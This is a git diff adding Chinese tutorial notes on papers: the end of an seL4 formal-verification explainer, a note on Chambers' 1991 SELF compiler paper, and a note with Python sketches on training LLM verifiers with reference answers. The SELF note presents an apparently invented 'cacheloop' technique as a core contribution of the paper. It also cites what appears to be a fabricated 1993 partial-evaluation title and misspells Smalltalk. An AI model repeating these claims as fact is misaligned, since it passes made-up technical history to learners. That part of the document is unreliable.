+论文 Figure 3 的调度器（Isabelle/HOL 风格，教学化复述）：
+
+```isabelle
+(* 抽象层：调度 = 非确定地选一个可运行线程，或切到 idle *)
+definition schedule :: "unit kernel_monad"
+where
+  "schedule ≡ do
+     threads ← all_active_tcbs;
+     thread  ← select threads;        (* 从集合中任选其一 *)
+     switch_to_thread thread
+   od
+   OR switch_to_idle_thread"          (* 或选择 idle *)
+```
+
+`select` + `OR` 表示「合法实现任选其一」——证明实现时只需证明「我选的线程在 active 集合里」。
+
+### 可执行规范（how，但仍远离 C 细节）
+
+- 数据结构落地为记录、有限字长（32 位）、显式指针
+- 调度变成**确定性**的优先级 round-robin（Figure 4 的 `chooseThread`）
+- 能力派生树从抽象「树」变成带层级信息的**双向链表**
+
+```isabelle
+(* 可执行层：固定优先级队列 + round-robin 搜索 *)
+definition chooseThread :: "unit kernel_monad"
+where
+  "chooseThread ≡ do
+     r ← findM chooseThread' (reverse [minBound .. maxBound]);
+     when (r = Nothing) switch_to_idle_thread
+   od"
+
+(* 在某优先级队列里找第一个 runnable 线程，否则 dequeue 继续找 *)
+```
+
+### C 实现
+
+- 手写、可微优化
+- 通过 **C 子集翻译器** 转成 Isabelle 中的可执行语义
+- 单独做 **RC** 精化证明（体量最大，论文称占验证努力的大头）
+
+## 核心概念四：证明假设与信任根
+
+形式化验证**不是魔法**。论文明确假设正确的东西包括：
+
+- C 编译器（早期）；后续项目用机器码级验证缩小此洞
+- 启动 / boot 代码、cache 管理
+- 硬件行为符合模型
+
+在此之上**证明其余一切**。这是 TCB（Trusted Computing Base）分析的标准做法：假设越少、越小，整体越可信。
+
+与模型检测、静态分析、纯类型安全语言对比（论文观点）：
+
+| 方法 | 能说什么 |
+|------|----------|
+| 模型检测 | 有界状态，难 scale 到完整内核 |
+| 静态分析 | 通常只覆盖部分性质（如空指针） |
+| 类型安全语言写内核 | runtime / GC 本身变成新的 TCB |
+| seL4 式交互证明 | 完整功能规范 + 无界状态空间 |
+
+## 代码示例 1：Capability 授权（教学伪代码）
+
+下面不是 seL4 源码，但抓住论文模型精髓——**每次内核操作都先查 capability**：
+
+```c
+typedef struct {
+    ObjectType type;      /* Endpoint, Frame, TCB, CNode, ... */
+    ObjectID   target;
+    Rights     rights;    /* Read, Write, Grant, ... */
+} Capability;
+
+int seL4_Map(seL4_Cap cap_slot, seL4_Word vaddr, seL4_Cap frame_cap) {
+    Capability map_cap = lookup_capability(current_tcb(), cap_slot);
+    Capability frame   = resolve_capability(frame_cap);
+
+    if (map_cap.type != CAP_VSPACE || !(map_cap.rights & CAP_RIGHT_MAP))
+        return seL4_InvalidCapability;
+    if (frame.type != CAP_FRAME)
+        return seL4_InvalidCapability;
+
+    /* 仅在持有「地图编辑权」和「帧所有权」时建立映射 */
+    return insert_page_mapping(map_cap.target, vaddr, frame.target);
+}
+```
+
+论文还证明了访问控制机制的安全性（独立工作，当时尚未与主精化链完全合并）——说明 capability 不只是实现细节，而是可形式化推理的安全模型。
+
+## 代码示例 2：用户态 pager 处理缺页（模型直觉）
+
+seL4 **不在内核里内置**复杂分页策略。缺页通过 IPC **转发给用户态 pager**——内核只提供机制：
+
+```c
+/* 用户态 pager 线程（简化） */
+void pager_loop(void) {
+    for (;;) {
+        seL4_MessageInfo tag = seL4_Recv(fault_endpoint, NULL);
+        if (seL4_MessageLabel(tag) == seL4_Fault_PageFault) {
+            seL4_Word vaddr = seL4_GetMR(0);
+            seL4_Cap frame = allocate_backing_frame(vaddr);
+            seL4_Map(vspace_cap, vaddr, frame);   /* 需事先持有 capability */
+            seL4_Reply(seL4_MessageInfo_new(0, 0, 0, 0));  /* 恢复 faulting 线程 */
+        }
+    }
+}
+```
+
+这种「内核极简、策略在用户态」与 L4 传统一致，但 seL4 把**每一次 Map/Recv 的授权**都绑在 capability 上，使证明人员能在抽象状态里写出全局不变式（例如「每个物理页最多映射 N 次」）。
+
+## 性能与「证对了但很慢？」
+
+论文强调：seL4 **性能与当时最佳 L4 内核同级**——形式化没有逼团队写出慢十倍的内核。设计流程融合了两类人：
+
+- OS 开发者：关心硬件、IPC 快路径
+- 形式化人员：关心状态空间小、不变式好证
+
+Haskell 原型 + QEMU 让用户态子集（如 Iguana 嵌入式 OS 的一部分）能在「准真实」环境跑，验证前就能做设计迭代。
+
+## 项目规模与人力（建立直觉）
+
+| 项目 | 数量级 |
+|------|--------|
+| C 内核 | ~8.7k LOC |
+| 汇编 | ~0.6k LOC |
+| Isabelle 证明 | ~200k LOC（量级） |
+| 人力 | 约 20+ 人年（2004–2009 量级） |
+| 抽象规范 vs C | 论文称抽象规范约为 C 的 **1/3** 大小——高层更短，但信息更密 |
+
+比例粗算：**1 行 C ≈ 20+ 行证明**。这不是吓退你，而是告诉你该把形式化用在**小而贵**的核心上。
+
+## 与相关工作的关系
+
+- **L4 微内核**（[[l4-microkernel-1995]]）：seL4 的性能与极简 IPC 遗产
+- **EROS / Coyotos / Nova**：同属第三代微内核 + capability 探索
+- **分离内核 / MILS / Common Criteria EAL7**：工业上「要小、要可证」的合规压力
+- **CompCert / CakeML**（[[cakeml]]）：把信任根从编译器继续往下推
+- **Isabelle/HOL**（[[isabelle-hol-2002]]）：证明助手基础设施
+
+## 论文之后发生了什么（时间线）
+
+- **2011–2014**：信息流安全（IFC）扩展——在功能正确性之上证明「无未授权泄漏」
+- **2015+**：seL4 基金会、开源生态、RISC-V 等架构移植
+- **DARPA HACMS 等**：红队攻应用层仍难以突破内核隔离边界（在威胁模型内）
+- **持续工作**：将 C 精化证明延伸到**二进制**（降低编译器假设）
+
+## 适用 vs 不适用
+
+**适合形式化像 seL4 这样啃**：
+
+- 代码量可控（万行级内核，不是千万行 Linux）
+- 需求相对稳定（调度策略可换，但 IPC/内存模型不天天改）
+- 一次失效代价极高（人命、机密、载具）
+
+**不适合**：
+
+- 快速迭代的业务后端
+- 大量第三方闭源驱动塞进 TCB
+- 团队没有证明助手经验且不愿改设计
+
+## 零基础自检清单
+
+读完后你应该能回答：
+
+1. **seL4 证明了什么？** —— C 实现精化到抽象规范，功能正确性。
+2. **没证明什么？** —— 硬件、编译器、boot、应用逻辑。
+3. **为什么用微内核？** —— TCB 小，才证得完。
+4. **Haskell 原型干嘛用？** —— 可执行设计 + 自动进 Isabelle，不是最终产品。
+5. **Capability 解决什么？** —— 每个资源操作可形式化授权检查。
+6. **抽象调度器为何非确定？** —— 把策略留给下层，证明更松、实现更自由。
+
+## 延伸阅读
+
+- 论文 PDF（用户指定）：[seL4 CACM 版](https://sel4.systems/Info/Docs/seL4-paper-CACM.pdf)
+- SOSP 原版：[klein-sosp09.pdf](https://www.sigops.org/s/conferences/sosp/2009/papers/klein-sosp09.pdf)
+- 项目站：[sel4.systems](https://sel4.systems)
+- 精化框架细节：*Refinement in the Formal Verification of the seL4 Microkernel*
+- 扩展阅读：Klein et al., *Comprehensive Formal Verification of an OS Microkernel*, TOCS 2014
+
+## 关联
+
+- [[l4-microkernel-1995]] —— L4：seL4 的性能与最小内核哲学来源
+- [[sel4-2009]] —— 本仓库同主题姊妹篇（侧重应用场景）
+- [[mach-rashid-1986]] —— Mach：微内核另一条路线
+- [[isabelle-hol-2002]] —— 证明助手
+- [[kvm-2007]] —— 对比：虚拟化与特权级设计的不同安全模型
+
+## 一句话记忆
+
+**seL4 把操作系统内核从「我们相信测试够了」推进到「在列明假设下，机器检查证明 C 代码与数学规范一致」——微内核不是信仰，是让完整证明在 21 世纪首次变得可能的工程尺寸。**
diff --git a/src/content/docs/papers/self-1991-chambers.md b/src/content/docs/papers/self-1991-chambers.md
new file mode 100644
index 000000000..ee001db4a
--- /dev/null
+++ b/src/content/docs/papers/self-1991-chambers.md
@@ -0,0 +1,276 @@
+---
+title: "Self-Customization: 用编译优化技术重新理解 SELF 语言"
+来源: https://www.cs.ucsb.edu/~ckrintz/racelab/gc/papers/chambers-pldi91.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Self-Customization: 用编译优化技术重新理解 SELF 语言
+
+## 一、从"菜谱"到"预制菜"：什么是 SELF 语言？
+
+先建立一个日常理解。
+
+想象你在学做菜。最传统的方式（比如 C 语言）是：你每一刀切、每一勺盐，都需要自己动手写代码一步步实现。编译器就像一个严格的主厨——你给他原始菜谱（源代码），他给你一份不可修改的烹饪指令（机器码）。
+
+但 SELF 语言走的是另一条路。它的设计哲学是："程序本身不是菜谱，而是一份正在被修改的菜谱。"
+
+具体来说：
+
+- SELF 是一种**原型语言**（prototypal language），不是传统的"类"语言。你可以直接说"这个对象长这样"，然后让它"长出"自己的特性
+- SELF 的程序在运行中可以**动态修改**——添加、删除、替换方法和属性
+- 这意味着：编译器不能再像传统方式那样"一次编译，永远执行"
+
+**核心矛盾来了**：如果一个程序在运行时可能随时改变，编译器还能做优化吗？
+
+Chambers 在 1991 年 PLDI 的这篇论文，回答了这个问题——能，而且可以用三种精妙的技术做到接近手写汇编的速度。
+
+## 二、问题本质：为什么动态语言"不好优化"？
+
+### 2.1 类继承查找的"找爸爸"困境
+
+用代码展示问题。这是一个简化的 SELF 风格对象：
+
+```
+// 定义一个对象 "Animal"，它有一个 "speak" 方法
+Animal := object
+    speak := method()
+        print("...")
+    end
+end
+
+// 创建一个继承自 Animal 的对象 "Dog"
+Dog := Animal copy
+    speak := method()
+        print("汪汪")
+    end
+end
+
+// 让 Dog 再创建 "Poodle"
+Poodle := Dog copy
+end
+
+// 调用
+Poodle speak()  // 应该输出"汪汪"
+```
+
+现在问一个问题：当 `Poodle speak()` 被调用时，编译器需要做什么？
+
+它必须回答：**"speak" 方法到底在哪里定义？**
+
+传统编译器的做法：
+
+1. 检查 Poodle 自己的属性里有没有 speak → 没有
+2. 去父对象 Dog 的属性里找 → 找到了
+3. 生成一段跳转代码
+
+问题出现在这里——如果 Dog 在运行时被**修改**了，speak 方法被移走了，怎么办？编译器生成的代码就**错误**了。
+
+这种"方法查找路径可能在运行时改变"的性质，叫做 **动态分派（dynamic dispatch）**。它是面向对象语言的核心特性，也是编译器优化的最大障碍。
+
+### 2.2 传统编译器为什么会"不敢动"？
+
+传统的优化（比如内联、常量传播）都有一个前提假设：**代码不会自己改自己**。
+
+一旦这个假设被打破，编译器只能"宁枉杀三千，不放走一个"——把优化全部丢掉，用最慢但最安全的方式执行代码。
+
+Chambers 的贡献，就是证明：即使代码在运行时会变，编译器仍然可以做很多优化，只要做到三件事。
+
+## 三、三大核心技术
+
+### 3.1 技术一：内联缓存（Inline Caching）
+
+**日常类比**：
+
+你去一家连锁餐厅吃饭。第一次去某家店，你需要问服务员"招牌菜在哪里"，然后找到点餐区。第二次去同一家店，你已经**记住了**招牌菜的位置，不用问了。
+
+内联缓存做的事情完全一样：记录"上次方法在哪里找到的"，下次直接去那个位置。
+
+**代码示例**：
+
+假设 `Poodle speak()` 被调用过一次。编译器生成的不是这样：
+
+```
+// ❌ 每次都从头开始查找（慢）
+lookup_method(Poodle, "speak"):
+    if Poodle has "speak": return Poodle.speak
+    else if Poodle.__proto__ has "speak": return Poodle.__proto__.speak
+    else if Poodle.__proto__.__proto__ has "speak": return Poodle.__proto__.__proto__.speak
+    ...
+```
+
+而是这样：
+
+```
+// ✅ 第一次查找后，缓存下来
+lookup_method(Poodle, "speak"):
+    if cached_class == Poodle:        // 缓存命中！直接返回
+        return cached_method
+    else:                              // 缓存未命中，需要重新查找
+        method = full_lookup(Poodle, "speak")
+        cached_class = Poodle
+        cached_method = method
+        return method
+```
+
+**关键洞察**：在大多数程序中，同一个调用点的方法通常是**同一种类型**。所以缓存命中率极高。
+
+**性能影响**：内联缓存把 O(n) 的查找过程（n 是继承链长度）变成了 O(1)。这是 SELF 编译器最重要的优化。
+
+### 3.2 技术二：Cacheloop 优化
+
+内联缓存有一个小问题：当父对象被修改时，缓存可能失效。Chambers 的**cacheloop** 技术用一种优雅的方式处理这个问题。
+
+**日常类比**：
+
+超市里的货架标签机。每次商品位置改变，标签机不是全部重打，而是**只更新那些位置变了的商品标签**。没变的商品标签，继续用。
+
+**核心思路**：
+
+Chambers 引入了 **cacheloop**——一种"循环查找+缓存"的机制。具体来说：
+
+```
+// Cacheloop 的结构概念表示
+method_lookup(object):
+    for each slot in inheritance_chain:
+        if slot is cached:             // 如果这个层级的查找结果被缓存了
+            jump to cached_result      // 跳过后续查找
+        else:
+            check_this_slot()
+    // 只有缓存失效时才会走到这里
+    full_search()
+```
+
+**关键创新**：Chambers 证明了可以通过在字节码级别插入**检查点**，让缓存失效的检测变得极快。如果父对象没变，缓存检查的成本几乎为零。
+
+### 3.3 技术三：部分求值（Partial Evaluation）—— SELF 的"自编译"
+
+**日常类比**：
+
+假设你每天上班都要走同一条路线，但其中一段路在施工。传统编译器是每天早上重新规划整条路线。部分求值是：你已经知道 80% 的路怎么走，编译器只帮你重新计算那 20% 变化了的部分。
+
+**概念解释**：
+
+部分求值（Partial Evaluation）是 SELF 编译器最核心的优化技术。它的基本想法是：
+
+1. 把 SELF 程序看作**两个部分**：已知部分（不会变的）和未知部分（可能变的）
+2. 对"已知部分"做深度优化——内联、常量传播、死代码消除
+3. 对"未知部分"保留足够的灵活性
+
+在 SELF 中，"已知"意味着：**在当前对象的所有子类集合中，这个方法的调用路径是唯一的**。
+
+**代码示例**：
+
+```
+// 原始 SELF 代码
+Dog := Animal copy
+    speak := method()
+        print("汪汪")
+    end
+end
+
+Poodle := Dog copy
+end
+
+Poodle speak()
+```
+
+经过部分求值后，编译器知道 `Poodle speak()` 只会调用 `Dog.speak`（因为没有其他子类）。于是它生成：
+
+```
+// 优化后的伪机器码
+speak_poodle:
+    load_string "汪汪"
+    call print
+    ret
+```
+
+编译器把方法查找**直接消除了**，因为它的分析证明只有一条路径。这就是"自编译"——程序运行时动态告诉编译器"我现在确定是哪一种方法"。
+
+**与 JIT 的关系**：Chambers 的工作实际上是最早的 JIT（Just-In-Time）编译器思想的先驱之一。它不是提前编译全部代码，而是在运行时"看到"了足够信息再决定怎么优化。
+
+## 四、三种技术的协同工作
+
+这三种技术不是孤立的，它们形成了一个**层次化**的优化系统：
+
+```
+┌─────────────────────────────────┐
+│  部分求值：宏观层面做深度优化      │  ← 最顶层：程序结构优化
+│  (把已知路径全部内联/展开)        │
+├─────────────────────────────────┤
+│  内联缓存：中观层面加速查找        │  ← 中层：常见路径缓存
+│  (缓存方法查找结果)               │
+├─────────────────────────────────┤
+│  Cacheloop：微观层面处理缓存失效    │  ← 底层：快速恢复机制
+│  (只在缓存失效时做额外工作)         │
+└─────────────────────────────────┘
+```
+
+**工作流程**：
+
+1. 部分求值先做一轮全局分析，把能优化的地方全部优化掉
+2. 内联缓存负责日常执行时的高速查找
+3. Cacheloop 负责处理"万一被优化掉的东西突然变了"这种情况
+
+## 五、性能数据
+
+根据论文数据，SELF 编译器经过这三种优化后：
+
+- 方法调用开销从解释执行的 **100-200 个机器周期**降低到 **5-10 个周期**（内联缓存命中时）
+- 整体性能比解释器快 **10-50 倍**
+- 在当时的硬件条件下，SELF 的交互式性能足以支撑一个完整的**图形用户界面系统**
+
+这意味着：1991 年，Chambers 就已经证明了一种动态原型语言可以接近 C 语言的执行速度。这个结论直接影响了后来 JavaScript（V8 引擎的内联缓存）、Python（PyPy 的 JIT）、Ruby（YARV）等语言的设计。
+
+## 六、现代意义
+
+### 6.1 JavaScript 引擎
+
+V8 引擎的 **Hidden Class（隐藏类）** + **Inline Caching** 几乎就是 Chambers 技术的现代翻版：
+
+```javascript
+// JavaScript 的隐藏类机制
+function Person(name) {
+    this.name = name;
+}
+
+let p = new Person("Alice");  // V8 给 p 分配一个 Hidden Class A
+let q = new Person("Bob");    // q 也用同一个 Hidden Class A → 内联缓存命中
+```
+
+### 6.2 JIT 编译器的普遍化
+
+Chambers 的论文实际上提出了一个至今仍在使用的范式：
+
+- **Speculative Optimization（推测性优化）**：假设某条路径是"常见的"，先按这个假设优化
+- **Deoptimization（反优化回退）**：如果假设被证伪，回退到安全版本
+
+这个范式今天被广泛使用：V8、HotSpot JVM、PyPy、.NET CLR 全都遵循这个思路。
+
+### 6.3 对程序语言的启示
+
+这篇论文的一个深层启示：**动态性和性能不是对立的**。通过聪明的编译技术，动态语言完全可以获得接近静态语言的性能。这直接挑战了 1980-90 年代"脚本语言就是慢"的刻板印象。
+
+## 七、核心概念速查
+
+| 概念 | 一句话解释 | 类比 |
+|------|-----------|------|
+| 原型语言 | 通过复制对象来创建新对象，没有"类"的概念 | 克隆一个生物，后代自动继承特性 |
+| 动态分派 | 方法调用在运行时才确定目标 | 每次投票重新决定谁说了算 |
+| 内联缓存 | 记住上次方法在哪，下次直接去 | 餐厅常客知道招牌菜在哪 |
+| Cacheloop | 缓存失效时快速恢复的循环查找机制 | 只更新变动的货架标签 |
+| 部分求值 | 把已知的部分提前优化，未知的保留灵活 | 每天走熟路，只重新计算修路那一段 |
+| 推测性优化 | 先假设"最常见的路径"来优化 | 出门带伞，假设今天会下雨 |
+| 反优化（Deoptimization） | 假设错了，回退到安全执行模式 | 发现没下雨，把伞收起来 |
+
+## 八、延伸思考
+
+如果你理解了这篇文章的三个核心技术，你实际上已经理解了现代所有主流 JIT 编译器的核心思想。
+
+下一章建议研究：
+
+1. **Smaltalk 的 Strongtalk 编译器**——基于 Chambers 技术的工业级实现
+2. **V8 引擎的内联缓存论文**——看 Chambers 思想在现代 JavaScript 引擎中的演进
+3. **Partial Evaluation: A Special Case of Dataflow Compilation（Jones, Gomard, Sestoft, 1993）**——部分求值的理论基础
diff --git a/src/content/docs/papers/self-consistency-2022.md b/src/content/docs/papers/self-consistency-2022.md
index 0412c136e..276b9b91e 100644
--- a/src/content/docs/papers/self-consistency-2022.md
+++ b/src/content/docs/papers/self-consistency-2022.md
@@ -2,7 +2,7 @@
 title: Self-Consistency — 让模型把同一道题做 40 遍再投票
 来源: 'Wang et al., "Self-Consistency Improves Chain of Thought Reasoning in Language Models", ICLR 2023 (arXiv:2203.11171)'
 日期: 2026-06-01
-子分类: 模型与训练
+子分类: ml
 分类: 机器学习
 难度: 入门
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/self-trained-verification.md b/src/content/docs/papers/self-trained-verification.md
new file mode 100644
index 000000000..9f825f44d
--- /dev/null
+++ b/src/content/docs/papers/self-trained-verification.md
@@ -0,0 +1,343 @@
+---
+title: Self-Trained Verification — 用「参考答案」教会模型当阅卷老师
+来源: https://arxiv.org/abs/2605.30290
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：自己改作文，为什么总改不对？
+
+你写完一篇数学证明，想自己检查有没有漏洞。常见两种结局：
+
+1. **一眼觉得没问题**：推理链写得很顺、符号都对，但中间某步「悄悄用了一个不成立的引理」——自己很难发现，因为大脑会**补全**你认为合理的跳跃。
+2. **对照标准答案再读一遍**：老师把参考答案放在旁边，你的任务从「独立解题」变成「**对照找茬**」——哪一步和参考路线不一致、哪个边界条件漏了，往往一眼就露馅。
+
+大语言模型（LLM）做推理时面临同样困境。**验证-精炼循环（Verification-Refinement, V-R）** 很像「写一版 → 阅卷老师批注 → 按批注重写」：生成器 \(G\) 出答案，验证器 \(V\) 给判决（accept/reject）和自然语言反馈，\(G\) 再改。这在 IMO 级难题、前沿数学推理里已是主流范式。
+
+但瓶颈始终在 **验证器**：
+
+- 分数越打越高，**准确率却不涨**（reward hacking / 分数膨胀）；
+- 反馈太泛：「你的解法似乎不对」——生成器不知道改哪；
+- 自训练时把**错误样本**混进训练集，越训越歪。
+
+论文 **Self-Trained Verification for Training- and Test-Time Self-Improvement**（Chen Henry Wu, Aditi Raghunathan；arXiv [2605.30290](https://arxiv.org/abs/2605.30290)）的核心洞察是：
+
+> 模型**单独**很难给自家错误解法写诊断；但**同时看到参考答案**时，找逻辑漏洞容易得多。把这一「特权信息不对称」蒸馏成监督，就能训出**测试时不需要参考答案**的验证器。
+
+方法叫 **STV（Self-Trained Verification）**；进一步用 STV 验证器在训练里带着生成器做 V-R，叫 **ViL（Verifier-in-the-Loop Training）**。
+
+一句话：**不是让模型更会做题，而是让模型更会「对照标准答案找错」，再把这项能力内化。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *Self-Trained Verification for Training- and Test-Time Self-Improvement* |
+| 作者 | Chen Henry Wu, Aditi Raghunathan（CMU 等） |
+| 日期 | 2026-05-28 |
+| 官网 | [ar-forum.github.io/stv-webpage](https://ar-forum.github.io/stv-webpage) |
+| 基座模型 | 主实验 Qwen3-8B（生成器与验证器可同模不同 prompt） |
+| 训练数据 | DAPO 难题（Hard / Hardest）、SciKnowEval 科学推理 |
+| 核心方法 | STV（验证器自蒸馏）+ ViL（生成器环内 RL） |
+| 对比基线 | 无训练、Verdict-RL、Meta-verifier RL、SFT、prefix-conditioning、延长 RLVR |
+
+---
+
+## 为什么重要
+
+### 1. 测试时与训练时自改进，卡在同一个瓶颈
+
+| 场景 | 做法 | 验证器差时的症状 |
+|------|------|------------------|
+| **测试时** | V-R 多轮精炼 | 多算力 ≠ 更高正确率；接受率涨、精度不涨 |
+| **训练时** | 自训练 / RLVR | 坏样本入库；RL 收敛后再加算力无收益 |
+
+STV 同时改善两端：Hard 数学上最终轮 pass@1 约 **2×**；SciKnowEval Hardest 从 **1.5% → 21.0%**（约 **14×**）。
+
+### 2. 「小验证器 + 强 STV」可替代「大生成器裸跑」
+
+STV 引导的 8B 在 Hardest 上 **5.5%**，超过无验证的 **Qwen3-32B（2.7%）**；科学推理上 8B+STV 甚至超过 **Qwen3-235B**。说明在极难题上，**会找错的验证器** 比单纯放大生成器更划算。
+
+### 3. ViL 突破 RLVR 平台期，且收益可「内化」
+
+从已 RLVR 收敛的生成器继续训 ViL：
+
+- 有验证器时最终轮 pass@1 **+33%**（相对）；
+- **第 0 轮**（测试时完全不用验证器）pass@1 **+30%**（相对）；
+- 同等算力继续纯 RLVR：**零增益**。
+
+这意味着：在环里学「如何听诊断改写法」，会反哺**第一稿**质量——不只是测试时外挂。
+
+---
+
+## 核心概念
+
+### 1. 验证-精炼（V-R）循环
+
+给定题目 \(x\)、标准答案 \(y^\star(x)\)：
+
+```text
+Round 0:  y₀ ~ G(· | x)
+Round r:  (vᵣ, fᵣ) ~ V(· | x, yᵣ₋₁)     # 判决 + 反馈
+          若 reject: yᵣ ~ G(· | x, yᵣ₋₁, fᵣ)
+          若 accept 或达最大轮数 R: 结束
+```
+
+\(v \in \{\text{accept}, \text{reject}\}\)，\(f\) 是自然语言诊断（哪步错、为何错、怎么改）。
+
+### 2. 监督缺口：能判对错，不会找茬
+
+仅用「最终答案对错」训验证器（Verdict-RL），能学会 **outcome judgment**，但学不会指出「看似合理证明里的隐藏漏洞」——这正是 V-R 最需要的能力，却**没有直接可验证标签**。
+
+### 3. STV：参考答案条件下的教师
+
+定义两个 prompt 下的同一底座：
+
+- **学生验证器** \(V_\theta(\cdot \mid x, y_{r-1})\)：测试时部署，**看不到** \(y^\star\)
+- **教师验证器** \(V^\star(\cdot \mid x, y_{r-1}, y^\star(x))\)：训练时特权，**看得到**参考答案
+
+教师输出 \((v, f)\) 分布；学生用 **On-Policy Distillation（OPD）** 对齐教师，并加一项 **Verdict-RL** 强化判决准确率：
+
+\[
+\mathcal{L}_{\text{STV}}(\theta) = \mathcal{L}_{\text{OPD}}(\theta) + \lambda \cdot \mathcal{L}_{\text{RL}}(\theta)
+\]
+
+\(\mathcal{L}_{\text{OPD}}\) 用 \(\alpha=0.5\) 的 \(\alpha\)-散度（Jensen-Shannon）匹配完整响应序列分布；\((x, y_{r-1})\) 来自生成器 **on-policy** rollout。
+
+**为何 OPD 优于 SFT？** SFT 在教师轨迹上训，测试时学生自己采样会 **分布漂移**；OPD 让学生在自己会走到的前缀上对齐教师。
+
+### 4. ViL：冻结 STV，只训生成器
+
+多轮 V-R 展开成一条 episode，**奖励**仍是最终 \(y_r\) 与 \(y^\star\) 的可验证正确性；只更新 \(G\)，\(V_\theta\) 冻结。与「把模型自己的错解当监督」不同：反馈只是帮助 \(G\) 最大化**可验证奖励**的上下文，信号不脏。
+
+### 5. STV 为何有效（论文分解）
+
+| 机制 | 无训练验证器 | STV 验证器 |
+|------|-------------|-----------|
+| **分数校准** | 轮次↑、分数↑、准确率停滞 | 接受精度随覆盖率提升 |
+| **反馈质量** | 泛泛否定 | 可定位具体逻辑断点 |
+| **vs Best-of-N** | 更像「多抽几次选好的」 | V-R **重塑**分布，非单纯锐化 |
+
+Pass@k 在前 ~10 轮往往提升，说明不是塌缩到单一模式；精炼在匹配算力下通常优于 BoN resampling。
+
+### 6. Weak-to-Strong
+
+STV 后的 **Qwen3-4B** 验证器可接近 **8B STV**；**1.7B STV** 可匹配未训练的 8B 自验证——小模型专精「找错」性价比高。
+
+---
+
+## 代码示例 1：最小 V-R 循环（概念实现）
+
+下面用 Python 伪代码展示测试时 V-R 的数据流（非论文官方代码，便于理解接口）：
+
+```python
+from dataclasses import dataclass
+from typing import Literal
+
+Verdict = Literal["accept", "reject"]
+
+@dataclass
+class VerifyResult:
+    verdict: Verdict
+    feedback: str
+
+def vr_loop(
+    generator,
+    verifier,
+    problem: str,
+    max_rounds: int = 20,
+) -> str:
+    """Verification-Refinement：生成 ↔ 验证，直到 accept 或达上限。"""
+    solution = generator.solve(problem)  # y_0
+
+    for r in range(1, max_rounds + 1):
+        result: VerifyResult = verifier.check(problem, solution)
+        if result.verdict == "accept":
+            return solution
+        # reject：把诊断反馈喂回生成器
+        solution = generator.refine(
+            problem,
+            draft=solution,
+            feedback=result.feedback,
+        )
+    return solution  # 超时返回最后一版
+```
+
+STV 训练的是 `verifier.check`：在**没有** `y_star` 时，仍输出接近「看过参考答案的教师」那样的 \((v, f)\)。
+
+---
+
+## 代码示例 2：STV 训练数据构造（教师蒸馏）
+
+训练时教师能看见参考答案；学生只见题目与候选解：
+
+```python
+import random
+
+def sample_stv_training_pair(generator, teacher_verifier, problem, y_star):
+  """
+  从生成器 on-policy 采样候选解，用参考答案条件下的教师打标签。
+  返回用于 OPD / SFT 的 (student_context, teacher_target)。
+  """
+  y_attempt = generator.sample_solution(problem)
+
+  # 教师：特权 prompt，上下文含 y_star
+  teacher_out = teacher_verifier.sample(
+      prompt=teacher_verifier.prompt_with_reference(
+          problem=problem,
+          attempt=y_attempt,
+          reference=y_star,
+      )
+  )
+  # teacher_out = (verdict, feedback_text)
+
+  student_context = {
+      "problem": problem,
+      "attempt": y_attempt,
+      # 注意：不含 y_star —— 与部署一致
+  }
+  return student_context, teacher_out
+
+
+def stv_opd_batch(problems, generator, teacher, batch_size=32):
+  """构造一个 OPD mini-batch（示意）。"""
+  batch = []
+  for _ in range(batch_size):
+      x, y_star = random.choice(problems)
+      ctx, target = sample_stv_training_pair(generator, teacher, x, y_star)
+      batch.append((ctx, target))
+  return batch
+  # 实际训练：最小化 D_alpha(V_theta(·|ctx) || teacher(·|ctx,y_star))
+  # 并加 verdict RL: reward = 1[verdict == is_correct(y_attempt, y_star)]
+```
+
+要点：
+
+1. **Rollout 必须 on-policy**：\(y_{attempt}\) 来自当前 \(G\)，不是静态数据集里的旧解。
+2. **教师与学生同底座、不同 prompt**——不需要更大的外部模型。
+3. 测试时 `teacher_verifier.prompt_with_reference` 整条路径**下线**，只留学生 \(V_\theta\)。
+
+---
+
+## 代码示例 3：ViL 单 episode 奖励（生成器 RL）
+
+```python
+def vil_episode_reward(generator, frozen_stv_verifier, problem, y_star, max_rounds=5):
+    """
+    ViL：展开多轮 V-R，仅用最终答案可验证性作 reward。
+    反传只更新 generator 参数。
+    """
+    y = generator.solve(problem)
+    for _ in range(max_rounds):
+        verdict, feedback = frozen_stv_verifier.check(problem, y)
+        if verdict == "accept":
+            break
+        y = generator.refine(problem, draft=y, feedback=feedback)
+    return 1.0 if grade_equal(y, y_star) else 0.0
+```
+
+论文令人意外的发现：即使 reward 只看**最终**对错，\(G\) 的 **round-0** pass@1 也会涨——说明诊断反馈教会了更一般的推理习惯，而不只是「依赖多轮补救」。
+
+---
+
+## 实验结果速览
+
+### 数学（DAPO，Qwen3-8B 生成器）
+
+| 设置 | Hardest pass@1（量级） | 备注 |
+|------|------------------------|------|
+| 无验证 | ~0%（基座） | Hardest 上基座为 0 |
+| 无训练自验证 | 停滞 | 分数涨、准确率不涨 |
+| **STV 验证器** | **~5.5%**（Hardest 最终轮） | **~2×** 于未训练验证器 |
+| Qwen3-32B 无验证 | 2.7% | 4× 参数仍落后 STV+8B |
+
+### 科学推理（SciKnowEval）
+
+| 设置 | Hardest | Hard |
+|------|---------|------|
+| 无验证 | 1.5% | 11.5% |
+| 无训练验证 | 2.1% | 11.4% |
+| **STV** | **21.0%** | **42.4%** |
+| Qwen3-235B 无验证 | 8.0% | 23.6% |
+
+### ViL（从 RLVR 收敛点继续）
+
+| 指标 | Hardest | Hard |
+|------|---------|------|
+| RLVR 收敛 round-0 | 10.7% | 36.7% |
+| **ViL round-0** | **14.7% (+37%)** | **47.7% (+30%)** |
+| 同算力延长 RLVR | 无提升 | 无提升 |
+| ViL 最终轮 + STV@test | 27.3% vs 16.1% | — |
+
+---
+
+## 与相关工作的关系
+
+```text
+                    测试时算力              训练时自改进
+                         │                        │
+    Best-of-N / 自一致 ──┤                        │
+    均匀自修正(Refine) ──┤  缺结构化反馈          ├── RLVR / STaR / ReST
+                         │                        │
+    V-R 多轮精炼 ────────┼── 需要好验证器 ◄──────┼── ViL（本文）
+                         │                        │
+    Meta-verifier+人标 ──┤  贵、难扩展            ├── Prefix-conditioning
+    外部强模型反馈 ──────┤                        │   （不如 ViL+STV）
+                         │                        │
+                    ★ STV：参考答案特权蒸馏，无需人标反馈质量
+```
+
